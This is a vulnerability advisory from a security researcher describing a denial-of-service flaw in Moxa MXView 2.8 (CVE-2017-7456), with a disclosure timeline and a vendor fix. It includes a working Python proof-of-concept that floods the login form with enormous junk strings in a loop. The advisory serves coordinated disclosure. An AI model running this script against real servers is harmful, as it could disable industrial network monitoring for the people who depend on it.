Moxa MXView 2.8 Denial Of Service

`[+] Credits: John Page AKA hyp3rlinx   
[+] Website: hyp3rlinx.altervista.org  
[+] Source: http://hyp3rlinx.altervista.org/advisories/MOXA-MXVIEW-v2.8-DENIAL-OF-SERVICE.txt  
[+] ISR: ApparitionSec   
  
  
  
Vendor:  
============  
www.moxa.com  
  
  
  
Product:  
===========  
MXView v2.8  
  
Download:  
http://www.moxa.com/product/MXstudio.htm  
  
MXview Industrial Network Management Software.  
  
Auto discovery of network devices and physical connections  
Event playback for quick troubleshooting  
Color-coded VLAN/IGMP groups and other visualized network data  
Supports MXview ToGo mobile app for remote monitoring and notificationanytime, anywhere.  
  
  
  
Vulnerability Type:  
===================  
Denial Of Service  
  
  
  
CVE Reference:  
==============  
CVE-2017-7456  
  
  
  
Security Issue:  
================  
Remote attackers can DOS MXView server by sending large string of junk characters for the user ID and password field login credentials.  
  
  
  
Exploit/POC:  
=============  
import urllib,urllib2  
  
print 'Moxa MXview v2.8 web interface DOS'  
print 'hyp3rlinx'  
  
IP=raw_input("[Moxa MXView IP]>")  
  
PAYLOAD="A"*200000000  
  
url = 'http://'+IP+'/goform/account'  
data = urllib.urlencode({'uid' : PAYLOAD, 'pwd' : PAYLOAD, 'action' : 'login'})  
  
while 1:  
req = urllib2.Request(url, data)  
res = urllib2.urlopen(req)  
print res  
  
  
  
Network Access:  
===============  
Remote  
  
  
  
Severity:  
=========  
Medium  
  
  
  
Disclosure Timeline:  
==========================================================  
Vendor Notification: March 5, 2017  
Vendor confirms vulnerability : March 21, 2017  
Vendor "updated firmware April 7, 2017" : March 29, 2017  
April 9, 2017 : Public Disclosure  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
or exploits by the author or elsewhere. All content (c).  
  
hyp3rlinx  
`